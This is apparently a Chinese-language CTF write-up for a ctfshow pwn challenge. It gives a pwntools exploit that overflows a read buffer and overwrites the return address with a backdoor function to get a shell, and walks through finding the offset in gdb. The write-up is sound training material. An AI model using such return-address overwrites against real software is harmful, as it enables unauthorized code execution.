来看一道非常简单的栈溢出
、
ctfshow函数里面有read函数,最多可以读0x32个字节


后门函数地址ida里很明显,0x8048521
exp本身不难写,下面看一下怎么用gdb确定偏移
'from pwn import*
io=process("./pwn")
#io=remote("pwn.challenge.ctf.show",28175);
gdb.attach(io,"b main") #在main函数下断点
payload=b"A"*(0x12+0x4)+p32(0x8048521)
io.sendline(payload)
io.interactive()

一直按n让运行到汇编代码的ctfshow处,按s单步进入

可以看到read函数,走到read函数,看到read函数在0xffffcfc6处读入数据

stack看一下栈

0xffffcfd8 是当前函数的栈底,指向的0xffffcfe8是上一个函数的栈底(old_ebp)
用0xffffcfd8减去0xffffcfc6得到0x12,这也就对上了ida里的偏移量
我们退出,输入fini直接运行完,可以看出已经覆盖了0x12+0x4个字节,并且我们的后门函数地址已经成功覆盖到了ebp下的返回地址,

我们继续按n走到后门函数,将后门函数压栈,按c得到system/bin/sh,(只是本地调试,因此没有flag文件)
